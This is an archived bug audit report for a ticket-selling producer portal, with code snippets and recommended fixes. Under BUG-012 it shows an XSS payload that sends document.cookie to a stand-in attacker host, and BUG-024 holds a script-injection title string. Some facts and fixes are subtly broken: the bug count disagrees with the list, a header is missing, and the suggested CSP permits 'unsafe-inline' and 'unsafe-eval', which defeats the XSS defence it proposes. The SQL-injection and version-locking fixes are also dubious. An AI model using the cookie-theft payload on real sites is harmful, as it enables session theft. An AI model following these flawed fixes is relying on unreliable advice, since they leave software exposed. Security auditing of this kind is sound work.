Archived: 2025-11-01 Reason: Historical audit report from October 2025 Status: Audit completed, bugs addressed

🔍 Pique Tickets Producer Portal - Comprehensive Bug Audit Report¶

Executive Summary¶

I've completed a thorough security and functionality audit of the Pique Tickets producer portal, focusing on the show creation and update workflows. The audit identified 23 bugs across multiple severity levels, including 4 critical issues that could lead to data corruption or security vulnerabilities.

Key Findings: - ✅ Strengths: Good separation of concerns, comprehensive error handling infrastructure, draft mode support - ⚠️ Critical Issues: 4 issues requiring immediate attention - 🔴 High Priority: 8 issues that could impact user experience or data integrity - 🟡 Medium Priority: 7 issues affecting usability and edge cases - 🟢 Low Priority: 4 minor issues and improvements

📊 Bug Summary by Category¶

Category	Critical	High	Medium	Low	Total
Validation	2	3	2	0	7
Security	1	2	1	1	5
Data Integrity	1	2	2	1	6
Concurrency	0	1	1	1	3
Performance	0	0	1	1	2
TOTAL	4	8	7	4	23

🔴 CRITICAL BUGS¶

BUG-001: Date/Time Chronological Validation Missing¶

Severity: CRITICAL Location: apps/producer/src/features/shows/components/show-form.tsx:65-196, apps/api/portal/views.py:241-306 Category: Validation

Description: No validation ensures that door_time < start_time < end_time. Users can create shows where the event ends before it starts, or doors open after the show ends.

Steps to Reproduce: 1. Create a new show 2. Set Door Time: 8:00 PM 3. Set Start Time: 7:00 PM (before door time) 4. Set End Time: 6:00 PM (before start time) 5. Click "Publish" - Form accepts invalid data

Impact: - Data corruption in database - Confusion for ticket buyers - Invalid show data displayed on frontend - Potential financial/legal issues

Root Cause: Frontend validation schemas (formSchema, draftFormSchema) only check if dates exist, not their chronological order. Backend update_show_datetimes() function doesn't cross-validate the timestamps.

Recommended Fix:

// apps/producer/src/features/shows/components/show-form.tsx
export const formSchema = z.object({
  // ... existing fields
  doorDateTime: z.date({
    required_error: 'Door date/time is required.'
  }),
  startDateTime: z.date({
    required_error: 'Start date/time is required.'
  }),
  endDateTime: z.date({
    required_error: 'End date/time is required.'
  }),
  // ... existing fields
}).refine((data) => {
  return data.doorDateTime < data.startDateTime;
}, {
  message: "Door time must be before start time",
  path: ["doorDateTime"],
}).refine((data) => {
  return data.startDateTime < data.endDateTime;
}, {
  message: "Start time must be before end time",
  path: ["startDateTime"],
});

# apps/api/portal/views.py - in update_show_datetimes function
def update_show_datetimes(show_data, request):
    # ... existing parsing code ...

    # Add chronological validation
    if show_data.door_time and show_data.start_time and show_data.end_time:
        if show_data.door_time >= show_data.start_time:
            raise ValidationError("Door time must be before start time")
        if show_data.start_time >= show_data.end_time:
            raise ValidationError("Start time must be before end time")

    return show_data

BUG-002: Draft Mode Schema Transform Creates Invalid Dates¶

Severity: CRITICAL Location: apps/producer/src/features/shows/components/show-form.tsx:148-156 Category: Validation

Description: The draftFormSchema uses .transform() to convert empty/null values to new Date(), which creates a date object representing "now" instead of leaving it undefined. This causes: 1. Validation to pass even when dates weren't provided 2. Random "current timestamp" dates being saved to the database 3. Inconsistent behavior between draft saves

Problematic Code:

doorDateTime: z.date({
  required_error: 'Door date/time is required.'
}).optional().or(z.literal('')).transform(val => val || new Date()),

Steps to Reproduce: 1. Create new show without entering any dates 2. Save as draft 3. Check database - dates are set to the current timestamp 4. Wait 5 minutes, save draft again 5. Dates have changed to new current timestamp

Impact: - Data integrity violations - Unexpected behavior when converting draft to published - Database contains misleading timestamps - May pass validation when it shouldn't

Recommended Fix:

// Remove .transform() and use proper optional handling
doorDateTime: z.date({
  required_error: 'Door date/time is required.'
}).optional(),
startDateTime: z.date({
  required_error: 'Start date/time is required.'
}).optional(),
endDateTime: z.date({
  required_error: 'End date/time is required.'
}).optional(),

// And update default values to handle undefined properly:
doorDateTime: currentShow?.door_time ? new Date(currentShow.door_time) : undefined,
startDateTime: currentShow?.start_time ? new Date(currentShow.start_time) : undefined,
endDateTime: currentShow?.end_time ? new Date(currentShow.end_time) : undefined,

BUG-003: Refund Policy Enum Mismatch Between Frontend and Backend¶

Severity: CRITICAL Location: apps/producer/src/features/shows/components/form/tickets-form.tsx:162-180, apps/api/portal/views.py:230-237 Category: Data Integrity

Description: Frontend sends partial_refunds and full_refunds but backend expects partial_refund and full_refund (singular). The mapping in update_refund_policy() handles this, but it's fragile and inconsistent with the model's RefundPolicyChoices.

Problematic Code:

# Backend expects singular form from model
class RefundPolicyChoices(TextChoices):
    FULL_REFUND = "full_refund", "Full Refund"
    PARTIAL_REFUND = "partial_refund", "Partial Refund"
    NO_REFUNDS = "no_refunds", "No Refunds"

# Frontend sends plural form
{
  policy: 'partial_refunds',  // Wrong!
  name: 'Partial Refunds',
  description: '...'
}

# Backend has to manually map
policy_mapping = {
    "no_refunds": "no_refunds",
    "partial_refunds": "partial_refund",  # Manual mapping required
    "full_refunds": "full_refund",        # Manual mapping required
}

Impact: - If mapping code is removed, data corruption occurs - API inconsistency - Maintenance burden - Potential for bugs when adding new refund policies

Recommended Fix:

// Fix frontend to match backend enum
// apps/producer/src/features/shows/components/form/tickets-form.tsx
const policies = {
  no_refunds: {
    policy: 'no_refunds',
    name: 'No Refunds',
    description: 'No refunds or exchanges are available for this show. All sales are final.'
  },
  partial_refund: {  // Changed from partial_refunds
    policy: 'partial_refund',
    name: 'Partial Refund',
    description: 'Partial refunds are available up to 48 hours before the show.'
  },
  full_refund: {  // Changed from full_refunds
    policy: 'full_refund',
    name: 'Full Refund',
    description: 'Full refunds are available up to 24 hours before the show.'
  }
};

Then simplify backend:

# Remove mapping since values now match
if isinstance(refund_policy, dict) and "policy" in refund_policy:
    show_data.refund_policy = refund_policy["policy"]

BUG-004: SQL Injection Risk in Search Queries¶

Severity: CRITICAL Location: apps/api/portal/views.py:614-619 Category: Security

Description: While Django ORM generally protects against SQL injection, the search implementation uses icontains with user input that's directly embedded without additional validation. Combined with potential for complex search patterns, this could be exploited.

Vulnerable Code:

search = request.GET.get('search')
if search:
    shows_queryset = shows_queryset.filter(
        Q(title__icontains=search) |
        Q(description__icontains=search)
    )

Potential Attack Vector: While Django ORM parameterizes queries, a malicious search string with special characters could: 1. Cause unexpected behavior in icontains lookups 2. Lead to DoS through regex-like patterns 3. Expose information through error messages

Impact: - Potential data exposure - DoS through expensive queries - Information leakage through error messages

Recommended Fix:

search = request.GET.get('search')
if search:
    # Sanitize and limit search input
    search = search.strip()[:200]  # Limit length

    # Remove potentially dangerous characters
    import re
    search = re.sub(r'[%_\\]', '', search)  # Remove SQL wildcards

    if search:  # Only search if there's content left
        shows_queryset = shows_queryset.filter(
            Q(title__icontains=search) |
            Q(description__icontains=search)
        )

🔴 HIGH PRIORITY BUGS¶

BUG-005: Image Dimension Validation Bypassed in Draft Mode¶

Severity: HIGH Location: apps/api/tickets/models.py:271-274 Category: Validation

Description: Draft mode completely bypasses image dimension validation, allowing users to upload incorrectly sized images. When they later try to publish, the validation fails but images are already stored in S3.

Code:

def clean(self):
    # Only validate images if the show is being published
    if self.published:
        self.validate_image_dimensions(self.banner_image, self.BANNER_IMAGE_WIDTH, self.BANNER_IMAGE_HEIGHT)
        self.validate_image_dimensions(self.square_image, self.SQUARE_IMAGE_SIZE)

Steps to Reproduce: 1. Create draft show 2. Upload 500x500 image as banner (should be 2160x1089) 3. Save draft successfully 4. Try to publish - validation fails 5. Invalid images now stored in S3 permanently

Impact: - S3 storage waste with invalid images - User confusion when publish fails - Poor UX - error appears only at publish time

Recommended Fix:

def clean(self):
    super().clean()

    # Always validate image dimensions if images are provided
    if self.banner_image:
        self.validate_image_dimensions(self.banner_image, self.BANNER_IMAGE_WIDTH, self.BANNER_IMAGE_HEIGHT)
    if self.square_image:
        self.validate_image_dimensions(self.square_image, self.SQUARE_IMAGE_SIZE)

    # Then check if all required fields are present for publishing
    if self.published:
        self.validate_published_show()
    else:
        self.validate_draft_show()

BUG-006: Race Condition in Ticket Deletion Logic¶

Severity: HIGH Location: apps/api/portal/views.py:372-383 Category: Concurrency

Description: The ticket update logic checks for orders, then deletes tickets if no orders exist. There's a race condition where an order could be placed between the check and the delete, causing the order to reference a deleted ticket.

Vulnerable Code:

for ticket in tickets_to_check:
    # Check if this ticket has any orders
    has_orders = ticket_models.TicketOrder.objects.filter(ticket=ticket, orders__success=True).exists()
    if not has_orders:
        # Safe to delete as no orders exist
        ticket.delete()  # RACE CONDITION: Order could be created here!

Attack Scenario: 1. Producer starts editing show with Ticket A 2. Customer starts checkout process for Ticket A 3. Producer removes Ticket A and saves 4. Code checks: no orders exist (customer hasn't completed checkout) 5. Ticket A is deleted 6. Customer completes checkout → Order references deleted ticket!

Impact: - Database integrity violation - Customer purchase failures - Revenue loss - Potential refund obligations

Recommended Fix:

# Use select_for_update to lock the ticket row
from django.db import transaction

with transaction.atomic():
    tickets_to_check = ticket_models.Ticket.objects.filter(
        show=show_data
    ).exclude(
        name__in=updated_ticket_names
    ).select_for_update()

    for ticket in tickets_to_check:
        # Double-check with lock held
        has_orders = ticket_models.TicketOrder.objects.filter(
            ticket=ticket,
            orders__success=True
        ).select_for_update().exists()

        if not has_orders:
            ticket.delete()

BUG-007: Venue De-duplication Creates Data Inconsistencies¶

Severity: HIGH Location: apps/api/portal/views.py:412-431 Category: Data Integrity

Description: The venue update logic uses get_or_create based only on name, which can create duplicate venues or incorrectly merge venues with the same name but different locations.

Problematic Code:

if venue_name and venue_address:
    try:
        # Searches ONLY by name - ignores address!
        venue = venue_models.Venue.objects.get(name=venue_name)
        if venue.address != venue_address:
            venue.address = venue_address  # Modifies existing venue!
            venue.save()
    except venue_models.Venue.DoesNotExist:
        venue = venue_models.Venue.objects.create(
            name=venue_name, address=venue_address
        )

Scenario: 1. Producer A creates show at "The Grand Hall" in Phoenix 2. Producer B creates show at "The Grand Hall" in Seattle 3. Producer B's venue creation finds Producer A's venue by name 4. Updates address to Seattle 5. Producer A's show now shows wrong venue address!

Impact: - Data corruption across multiple producers - Wrong venue information displayed - Customer confusion - Potential legal issues with wrong addresses

Recommended Fix:

name="__codelineno-14-1" href="#__codelineno-14-1">if venue_name and venue_address: # Search by both name AND address for exact match venue, created = venue_models.Venue.objects.get_or_create( name=venue_name, address=venue_address, defaults={ 'city': request.data.get('venueCity', ''), 'state': request.data.get('venueState', ''), 'zip_code': request.data.get('venueZipCode', ''), } ) # Update other fields if venue already exists if not created: venue.city = request.data.get('venueCity', venue.city) venue.state = request.data.get('venueState', venue.state) venue.zip_code = request.data.get('venueZipCode', venue.zip_code) venue.phone = request.data.get('venuePhone', venue.phone) venue.website = request.data.get('venueWebsite', venue.website) venue.save() show_data.venue = venue

BUG-008: Missing Authorization Check in Show Detail Endpoint¶

Severity: HIGH Location: apps/api/portal/views.py:578-591 Category: Security

Description: The GET endpoint for individual shows verifies producer ownership, but the filtering/pagination logic for listing all shows relies on the queryset filter. If the show_id parameter is manipulated or the queryset is modified, authorization could be bypassed.

Current Code:

if show_id:
    try:
        show = ticket_models.Show.objects.get(id=show_id, producer=producer)
        return Response(ticket_serializers.ShowSerializer(show).data)
    except ticket_models.Show.DoesNotExist:
        return Response({"error": "Show not found or you don't have permission to access it"}, status=404)

Potential Issue: While this specific code is secure, the lack of explicit permission check class means if the view logic is refactored, security could be compromised.

Recommended Fix:

# Add explicit permission class
from rest_framework.permissions import BasePermission

class IsShowProducer(BasePermission):
    """
    Permission check that verifies the user is the producer of the show.
    """
    def has_object_permission(self, request, view, obj):
        try:
            producer = UserProducerAssociation.objects.get(user=request.user).producer
            return obj.producer == producer
        except UserProducerAssociation.DoesNotExist:
            return False

# Then use in view:
@api_view(['GET', 'PUT', 'POST', 'DELETE'])
@permission_classes([IsAuthenticated, IsShowProducer])  # Add explicit permission
def show_detail(request, show_id=None):
    # ... rest of code

BUG-009: Performer Image Upload Not Implemented¶

Severity: HIGH Location: apps/api/portal/views.py:464-481 Category: Data Integrity

Description: Performer images are extracted from the JSON payload but the code doesn't handle them as file uploads. The multipart form data for performer images is never processed, so performer images can't be uploaded through the show creation form.

Code:

for performer_data in performers_data:
    if isinstance(performer_data, dict):
        name = performer_data.get("name")
        if name:
            performer, created = performer_models.Performer.objects.get_or_create(
                name=name,
                defaults={
                    'bio': performer_data.get('description', ''),
                    'image': performer_data.get('image')  # This is a string URL, not a file!
                }
            )

Steps to Reproduce: 1. Create show with performers 2. Try to upload performer images 3. Images are not saved - only URLs work 4. Frontend sends Files but backend expects URLs

Impact: - Feature completely non-functional - Poor UX - users think they're uploading images - Workaround required (external hosting)

Recommended Fix:

def handle_performer_images(request, performers_data):
    """Process performer image uploads from multipart form data."""
    performer_images = {}

    for key in request.FILES:
        if key.startswith('performer_'):
            # Extract performer index from key like 'performer_0_image'
            match = re.match(r'performer_(\d+)_image', key)
            if match:
                idx = int(match.group(1))
                performer_images[idx] = handle_image_upload(request, f"performer_{idx}", key)

    return performer_images

def update_show_performers(show_data, request):
    """Updated version with image support."""
    performers_data = request.data.get("performers", [])

    if isinstance(performers_data, str):
        performers_data = json.loads(performers_data)

    # Get uploaded performer images
    performer_images = handle_performer_images(request, performers_data)

    show_data.performers.clear()

    if performers_data and isinstance(performers_data, list):
        for idx, performer_data in enumerate(performers_data):
            if isinstance(performer_data, dict):
                name = performer_data.get("name")
                if name:
                    # Check if we have an uploaded image for this performer
                    image = performer_images.get(idx) or performer_data.get('image')

                    performer, created = performer_models.Performer.objects.get_or_create(
                        name=name,
                        defaults={
                            'bio': performer_data.get('description', ''),
                            'image': image
                        }
                    )
                    if not created and image:
                        performer.bio = performer_data.get('description', performer.bio)
                        performer.image = image
                        performer.save()
                    show_data.performers.add(performer)

    return show_data

BUG-010: Missing Rate Limiting on Show Creation¶

Severity: HIGH Location: apps/api/portal/views.py:534-767 Category: Security

Description: No rate limiting on show creation endpoint allows abuse: - Spam show creation - S3 storage abuse through image uploads - Database pollution - DoS attacks

Impact: - Service degradation - Increased AWS costs - Database bloat - Resource exhaustion

Recommended Fix:

# Add to Django settings
REST_FRAMEWORK = {
    'DEFAULT_THROTTLE_CLASSES': [
        'rest_framework.throttling.AnonRateThrottle',
        'rest_framework.throttling.UserRateThrottle'
    ],
    'DEFAULT_THROTTLE_RATES': {
        'anon': '10/hour',
        'user': '100/day',
        'show_create': '10/hour',  # Specific rate for show creation
    }
}

# Create custom throttle class
from rest_framework.throttling import UserRateThrottle

class ShowCreateThrottle(UserRateThrottle):
    rate = '10/hour'  # Max 10 shows per hour per user

# Apply to endpoint
@api_view(['GET', 'PUT', 'POST', 'DELETE'])
@permission_classes([IsAuthenticated])
@throttle_classes([ShowCreateThrottle])  # Add throttling
def show_detail(request, show_id=None):
    # ... existing code

Severity: HIGH Location: apps/api/tickets/views/order_validation.py:222 Category: Validation

Description: Promo codes use case-insensitive lookup (code__iexact) but this creates UX confusion. Users might create "SAVE20" and "save20" thinking they're different codes, but they'll conflict.

Code:

promo = TicketPromoCode.objects.get(code__iexact=promo_code, show_id=show_id)

Steps to Reproduce: 1. Create promo code "SUMMER2024" 2. Try to create "summer2024" 3. Creation succeeds (different codes in DB) 4. Customer uses "summer2024" 5. Matches "SUMMER2024" due to iexact 6. Wrong discount may be applied

Impact: - Promo code confusion - Potential revenue loss - Customer support burden

Recommended Fix:

# In model, add unique constraint with normalization
class TicketPromoCode(models.Model):
    code = models.CharField(max_length=50, help_text="Unique promo code string")
    # ... other fields

    class Meta:
        constraints = [
            # ... existing constraints
            models.UniqueConstraint(
                Lower('code'),
                'show',
                name='unique_promo_code_per_show_case_insensitive'
            )
        ]

    def save(self, *args, **kwargs):
        # Normalize to uppercase on save
        self.code = self.code.upper()
        super().save(*args, **kwargs)

# In validation
promo = TicketPromoCode.objects.get(code=promo_code.upper(), show_id=show_id)

BUG-012: XSS Vulnerability in Rich Text Editor¶

Severity: HIGH Location: apps/producer/src/features/shows/components/form/basic-info-form.tsx:52-54 Category: Security

Description: The RichTextEditor component accepts and stores HTML directly. While Django's CKEditor5Field has built-in sanitization, the React component doesn't show explicit sanitization, and the content is rendered with dangerouslySetInnerHTML in various places.

Vulnerable Pattern:

<RichTextEditor
  value={field.value}
  onChange={field.onChange}  // No sanitization visible
  placeholder='Enter event description with rich formatting...'
/>

Potential Attack:

<script>
  fetch('https://attacker.com/steal?data=' + document.cookie);
</script>
<img src=x onerror="alert('XSS')">

Impact: - Account takeover through session theft - Malicious script execution on customer-facing pages - Data theft

Recommended Fix:

import DOMPurify from 'dompurify';

// In the editor component
const sanitizeContent = (html: string) => {
  return DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'u', 'h1', 'h2', 'h3', 'ul', 'ol', 'li', 'a'],
    ALLOWED_ATTR: ['href', 'title', 'target'],
    ALLOW_DATA_ATTR: false,
  });
};

// When saving
onChange={(value) => {
  const sanitized = sanitizeContent(value);
  field.onChange(sanitized);
}}

// Also add CSP headers to prevent inline scripts
// In Next.js config:
async headers() {
  return [
    {
      source: '/:path*',
      headers: [
        {
          key: 'Content-Security-Policy',
          value: "script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none';"
        },
      ],
    },
  ];
}

🟡 MEDIUM PRIORITY BUGS¶

BUG-013: Memory Leak in Form State Management¶

Severity: MEDIUM Location: apps/producer/src/features/shows/components/show-form.tsx:485-487 Category: Performance

Description: The form uses useEffect to reset with defaultValues whenever they change, but doesn't properly clean up subscriptions or cached images. Long editing sessions can cause memory buildup.

Code:

useEffect(() => {
  form.reset(defaultValues as FormValues);
}, [defaultValues, form]);

Impact: - Browser slowdown during long sessions - Potential crashes on low-memory devices - Poor mobile experience

Recommended Fix:

useEffect(() => {
  form.reset(defaultValues as FormValues);

  // Cleanup function
  return () => {
    // Revoke object URLs for file previews if any
    const formValues = form.getValues();
    ['showPoster', 'squareAsset', 'banner', 'backgroundImage'].forEach(field => {
      const value = formValues[field];
      if (value && typeof value === 'string' && value.startsWith('blob:')) {
        URL.revokeObjectURL(value);
      }
    });
  };
}, [defaultValues, form]);

BUG-014: No Optimistic Locking for Concurrent Edits¶

Severity: MEDIUM Location: apps/api/portal/views.py:769-860 Category: Concurrency

Description: Multiple producers or browser tabs can edit the same show simultaneously. Last write wins with no conflict detection or user warning.

Scenario: 1. Producer opens show in Tab A 2. Producer opens same show in Tab B 3. Both tabs make different changes 4. Tab A saves (changes applied) 5. Tab B saves (overwrites Tab A's changes) 6. Tab A's changes lost without warning

Impact: - Data loss - User frustration - Wasted work

Recommended Fix:

# Add version field to Show model
class Show(models.Model):
    # ... existing fields
    version = models.IntegerField(default=0)

    def save(self, *args, **kwargs):
        if self.pk:  # Existing record
            # Increment version
            self.version = F('version') + 1
        super().save(*args, **kwargs)

# In update view
elif request.method == "PUT":
    client_version = request.data.get('version')
    show_data = ticket_models.Show.objects.get(id=show_id, producer=producer)

    if client_version and int(client_version) != show_data.version:
        return Response({
            "error": "Show has been modified by another user. Please refresh and try again.",
            "current_version": show_data.version,
            "your_version": client_version
        }, status=409)  # Conflict

    # ... proceed with update

BUG-015: File Upload Size Not Validated on Frontend¶

Severity: MEDIUM Location: apps/producer/src/features/shows/components/show-form.tsx:56-62 Category: Validation

Description: Frontend schema defines MAX_FILE_SIZE = 5000000 (5MB) but the refinement checks files?.[0]?.size which might be undefined for string URLs, and doesn't give user immediate feedback before upload attempt.

Code:

const MAX_FILE_SIZE = 5000000;
showPoster: z.union([
  z.any()
    .refine((files) => files?.length == 1, 'Show poster is required.')
    .refine(
      (files) => files?.[0]?.size <= MAX_FILE_SIZE,  // May be undefined
      `Max file size is 5MB.`
    )

Impact: - User uploads 10MB file - Waits for upload - Gets error after network transfer complete - Wastes time and bandwidth

Recommended Fix:

// Add immediate file validation on selection
const validateFileSize = (file: File) => {
  const maxSize = 5 * 1024 * 1024; // 5MB
  if (file.size > maxSize) {
    toast.error(`File "${file.name}" is too large. Maximum size is 5MB.`);
    return false;
  }
  return true;
};

// In file input handler
<input
  type="file"
  accept="image/jpeg,image/jpg,image/png,image/webp"
  onChange={(e) => {
    const file = e.target.files?.[0];
    if (file) {
      if (!validateFileSize(file)) {
        e.target.value = ''; // Clear selection
        return;
      }
      field.onChange(e.target.files);
    }
  }}
/>

BUG-016: Error Messages Expose Internal Implementation¶

Severity: MEDIUM Location: apps/api/portal/views.py:902-906 Category: Security

Description: Generic error handler returns raw exception messages which can expose internal implementation details, stack traces, or database schema information.

Code:

except Exception as e:
    logger.error(f"Error in show_detail: {str(e)}")
    return Response({"error": str(e)}, status=400)  # Exposes internal errors!

Example Exposure:

{
  "error": "RelatedObjectDoesNotExist: Show has no venue"
}

Impact: - Information disclosure - Aids attackers in reconnaissance - Unprofessional error messages

Recommended Fix:

except ValidationError as e:
    # Validation errors are safe to show
    return Response({
        "error": "Validation failed",
        "details": e.message_dict if hasattr(e, 'message_dict') else str(e)
    }, status=400)
except Exception as e:
    # Log full error internally
    logger.error(f"Error in show_detail: {str(e)}", exc_info=True)

    # Return generic message to user
    return Response({
        "error": "An error occurred while processing your request. Please try again or contact support.",
        "error_id": str(uuid.uuid4())  # For support reference
    }, status=500)

BUG-017: Timezone Handling Inconsistency¶

Severity: MEDIUM Location: apps/producer/src/features/shows/components/form/basic-info-form.tsx:27 Category: Data Integrity

Description: Default timezone is 'America/Phoenix' (hardcoded) but there's no validation that the selected timezone actually exists in the pytz.all_timezones list that Django uses.

Code:

const selectedTimezone = form.watch('timeZone') || 'America/Phoenix';

Backend expects:

time_zone = models.CharField(
    max_length=50,
    choices=[(tz, tz) for tz in all_timezones],
    default="America/Phoenix",
)

Issue: If frontend sends an invalid timezone string, Django will accept it (max_length=50) but pytz operations will fail at runtime.

Recommended Fix:

// Create shared timezone list
export const VALID_TIMEZONES = [
  'America/New_York',
  'America/Chicago',
  'America/Denver',
  'America/Phoenix',
  'America/Los_Angeles',
  'America/Anchorage',
  'Pacific/Honolulu',
] as const;

// In schema
timeZone: z.enum(VALID_TIMEZONES, {
  errorMap: () => ({ message: "Please select a valid timezone" })
}),

BUG-018: Partial Update Warnings Are Silent¶

Severity: MEDIUM Location: apps/producer/src/features/shows/components/show-form.tsx:597-618 Category: UX

Description: When image uploads fail but the show is saved, warnings are shown in an error-styled alert. Users might think the entire save failed and close the page, losing their work.

Code:

if (result.data.warnings) {
  const warnings = [];
  // ... build warning message
  if (warnings.length > 0) {
    setError(warningMessage);  // Uses error state for warnings!
  }
}

Impact: - User confusion - Potential data loss (user re-does work) - Poor UX

Recommended Fix:

const [warnings, setWarnings] = useState<string | null>(null);

// Separate display for warnings vs errors
{warnings && (
  <div className='bg-yellow-100 border border-yellow-400 text-yellow-800 mb-3 sm:mb-4 rounded-md p-2 sm:p-3'>
    <div className='flex items-start'>
      <IconAlertTriangle className='h-5 w-5 mr-2' />
      <div>
        <p className='font-medium'>Partial Save Success</p>
        <p className='text-xs sm:text-sm'>{warnings}</p>
      </div>
    </div>
  </div>
)}

BUG-019: Draft Completion Percentage Calculation Flawed¶

Severity: MEDIUM Location: apps/api/tickets/models.py:454-492 Category: UX

Description: The completion percentage always counts performers and page design as complete (100%), even if they're empty. This gives misleading progress indicators.

Code:

# Performers (optional, so we count it as complete if empty or has items)
completed_fields += 1  # Always counted as complete!

# Page design (optional)
completed_fields += 1  # Always counted as complete!

Impact: - Misleading progress bar - Users think show is more complete than it is - May publish incomplete shows

Recommended Fix:

@property
def completion_percentage(self):
    """Calculate the completion percentage of the show for draft mode"""
    required_fields = 0
    completed_fields = 0

    # Track required vs optional fields separately
    # Required fields
    required_checks = [
        ('title', self.title),
        ('description', self.description),
        ('times', all([self.door_time, self.start_time, self.end_time])),
        ('image', self.image),
        ('banner_image', self.banner_image),
        ('square_image', self.square_image),
        ('venue', self.venue_id),
        ('tickets', self.pk and self.tickets.exists()),
    ]

    for name, check in required_checks:
        required_fields += 1
        if check:
            completed_fields += 1

    # Optional fields (count toward bonus completion)
    if self.performers.exists():
        completed_fields += 0.5

    if self.ticket_page_design.exists():
        completed_fields += 0.5

    # Calculate percentage (required fields are 100%, optional add bonus)
    base_percentage = int((completed_fields / required_fields) * 100)
    return min(base_percentage, 100)  # Cap at 100%

BUG-020: No Validation for Minimum Ticket Price¶

Severity: MEDIUM Location: apps/producer/src/features/shows/components/form/tickets-form.tsx:73-91 Category: Validation

Description: Frontend allows min='0' for ticket price but doesn't validate that free tickets are intentional. Also, no maximum price validation could allow typos (e.g., $10000 instead of $100.00).

Code:

<Input
  type='number'
  min='0'  // Allows $0.00
  step='0.01'
  placeholder='0.00'
  {...ticketField}
/>

Impact: - Accidental free tickets - Typo creates extremely expensive tickets - Revenue loss

Recommended Fix:

// In schema
tickets: z.array(
  z.object({
    name: z.string().min(2, 'Ticket name must be at least 2 characters'),
    price: z.number()
      .min(0, 'Price cannot be negative')
      .max(10000, 'Price cannot exceed $10,000')
      .refine((val) => {
        // Warn if price is 0
        return val > 0;
      }, {
        message: 'Free tickets: Please confirm this is intentional'
      }),
    capacity: z.number().min(1, 'Capacity must be at least 1'),
    description: z.string().optional()
  })
).min(1, 'At least one ticket type is required'),

// Add confirmation dialog for free tickets
{showFreeTicketWarning && (
  <AlertDialog>
    <AlertDialogContent>
      <AlertDialogHeader>
        <AlertDialogTitle>Free Tickets Detected</AlertDialogTitle>
        <AlertDialogDescription>
          You have set some tickets to $0.00. Is this intentional?
        </AlertDialogDescription>
      </AlertDialogHeader>
      <AlertDialogFooter>
        <AlertDialogCancel onClick={() => setShowFreeTicketWarning(false)}>
          Fix Price
        </AlertDialogCancel>
        <AlertDialogAction onClick={confirmFreeTickets}>
          Yes, Keep Free
        </AlertDialogAction>
      </AlertDialogFooter>
    </AlertDialogContent>
  </AlertDialog>
)}

🟢 LOW PRIORITY BUGS¶

BUG-021: Unused AlertModal in Show Form¶

Severity: LOW Location: apps/producer/src/features/shows/components/show-form.tsx:655-660 Category: Code Quality

Description: The AlertModal component is rendered but never opened. The open state is set to false and onConfirm is an empty function.

Code:

const [open, setOpen] = useState(false);
const onConfirm = async () => { };

<AlertModal
  isOpen={open}
  onClose={() => setOpen(false)}
  onConfirm={onConfirm}
  loading={loading}
/>

Impact: - Dead code - Unnecessary re-renders - Confusion for developers

Recommended Fix: Remove the unused modal or implement its intended functionality (likely for delete confirmation).

BUG-022: Inconsistent Button Text for Published Shows¶

Severity: LOW Location: apps/producer/src/features/shows/components/show-form.tsx:869 Category: UX

Description: The button text says "Update" for published shows but the success message still says "Show published successfully!" even for updates.

Code:

<span className='flex items-center gap-2'>
  <IconSend className='h-4 w-4' />
  {initialData?.published ? 'Update' : 'Publish'}
</span>

// But later:
if (mode === 'draft') {
  setSuccessMessage('Draft saved successfully!');
} else {
  setSuccessMessage('Show published successfully!');  // Even for updates!
}

Recommended Fix:

if (mode === 'draft') {
  setSuccessMessage('Draft saved successfully!');
} else {
  if (initialData?.published) {
    setSuccessMessage('Show updated successfully!');
  } else {
    setSuccessMessage('Show published successfully!');
  }
}

BUG-023: N+1 Query Problem in Shows List¶

Severity: LOW Location: apps/api/portal/views.py:594-640 Category: Performance

Description: While select_related and prefetch_related are used, the serializer still triggers additional queries for each show's ticket calculations and flags.

Code:

shows_queryset = ticket_models.Show.objects.filter(
    producer=producer,
    is_deleted=False
).select_related('venue').prefetch_related('tickets', 'performers')

But in serializer:

def get_tickets_sold(self, obj):
    # This runs a separate query for each show!
    return (
        TicketOrder.objects.filter(
            ticket__show=obj,
            orders__success=True
        ).aggregate(total_sold=Sum("quantity"))["total_sold"] or 0
    )

Impact: - Slow page loads with many shows - Database overload - Poor scalability

Recommended Fix: The view already implements subqueries (lines 623-640) which is good! But ensure the serializer uses the annotated values:

def get_tickets_sold(self, obj):
    # Use annotated value if available (from view's subquery)
    if hasattr(obj, 'tickets_sold') and obj.tickets_sold is not None:
        return obj.tickets_sold

    # Fallback for single-show views
    return (
        TicketOrder.objects.filter(
            ticket__show=obj,
            orders__success=True
        ).aggregate(total_sold=Sum("quantity"))["total_sold"] or 0
    )

BUG-024: Missing Input Sanitization for Special Characters¶

Severity: LOW Location: Multiple form inputs Category: Security

Description: While Django ORM prevents SQL injection, special characters in show titles, descriptions, and other fields aren't sanitized, allowing potential issues with: - URL slug generation - File naming - Display rendering

Example: Title: "My Show</script><script>alert('xss')</script>"

Impact: - Broken slugs - Display issues - Potential XSS if improperly rendered

Recommended Fix:

# Add to Show model
def clean(self):
    super().clean()

    # Sanitize title
    if self.title:
        # Remove control characters
        self.title = ''.join(char for char in self.title if char.isprintable())
        # Limit length
        self.title = self.title[:100]

    # Description is handled by CKEditor5 sanitization

    # ... rest of validation

🎯 Implementation Plan (Prioritized)¶

Phase 1: Critical Fixes (Week 1)¶

Must be completed immediately to prevent data corruption and security issues

BUG-001 - Add date/time chronological validation (2-3 hours)
BUG-002 - Fix draft schema transforms (1-2 hours)
BUG-003 - Fix refund policy enum mismatch (1 hour)
BUG-004 - Add SQL injection protection (2 hours)

Estimated Time: 1 week Risk if Delayed: HIGH - Data corruption, security breaches

Phase 2: High Priority Fixes (Week 2-3)¶

Should be completed soon to prevent user-facing issues

BUG-005 - Always validate image dimensions (2 hours)
BUG-006 - Fix race condition in ticket deletion (3-4 hours)
BUG-007 - Fix venue deduplication logic (2-3 hours)
BUG-008 - Add explicit authorization checks (2 hours)
BUG-009 - Implement performer image uploads (4-6 hours)
BUG-010 - Add rate limiting (2-3 hours)
BUG-011 - Fix promo code case sensitivity (2 hours)
BUG-012 - Add XSS protection to rich text (3-4 hours)

Estimated Time: 2 weeks Risk if Delayed: MEDIUM - Poor UX, potential revenue loss

Phase 3: Medium Priority Fixes (Week 4-5)¶

Can be scheduled after critical issues are resolved

BUG-013 - Fix memory leaks (2-3 hours)
BUG-014 - Add optimistic locking (4-5 hours)
BUG-015 - Add frontend file size validation (2 hours)
BUG-016 - Sanitize error messages (2 hours)
BUG-017 - Fix timezone validation (1-2 hours)
BUG-018 - Improve warning UI (2 hours)
